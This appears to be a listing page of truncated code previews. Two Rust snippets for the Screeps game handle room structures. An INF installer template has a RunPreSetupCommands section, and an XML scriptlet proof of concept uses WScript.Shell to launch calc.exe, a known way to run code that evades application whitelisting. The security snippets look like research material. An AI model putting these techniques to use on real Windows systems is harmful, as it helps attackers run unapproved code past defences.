This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fn classify_structure(&mut self, resource_cache: &mut RoomResourceCache, structure: StructureObject, has_links: &mut bool, has_containers: &mut bool) { | |
match structure { | |
StructureObject::StructureTower(tower) => { | |
self.towers.insert(tower.id(), tower); | |
} | |
StructureObject::StructureExtension(extension) => { | |
self.extensions.insert(extension.id(), extension); | |
} | |
StructureObject::StructureLink(link) => { | |
resource_cache.energy_in_storing_structures += |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fn run_structure_find(&mut self) -> Vec<StructureObject> { | |
self.room.find(find::STRUCTURES, None) | |
} | |
fn repairable_check(&mut self, structure: &StructureObject) { | |
if let Some(repairable) = structure.as_repairable() { | |
let max = if structure.structure_type() == StructureType::Rampart { | |
//let controller = self.controller.as_ref().unwrap().controller.clone(); | |
//get_rampart_repair_rcl(controller.level()) | |
100_000 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[DefaultInstall] | |
CustomDestination=CustInstDestSectionAllUsers | |
RunPreSetupCommands=RunPreSetupCommandsSection | |
[RunPreSetupCommandsSection] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?XML version="1.0"?> | |
<scriptlet> | |
<registration | |
progid="PoC" | |
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > | |
<script language="JScript"> | |
<![CDATA[ | |
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); | |
]]> |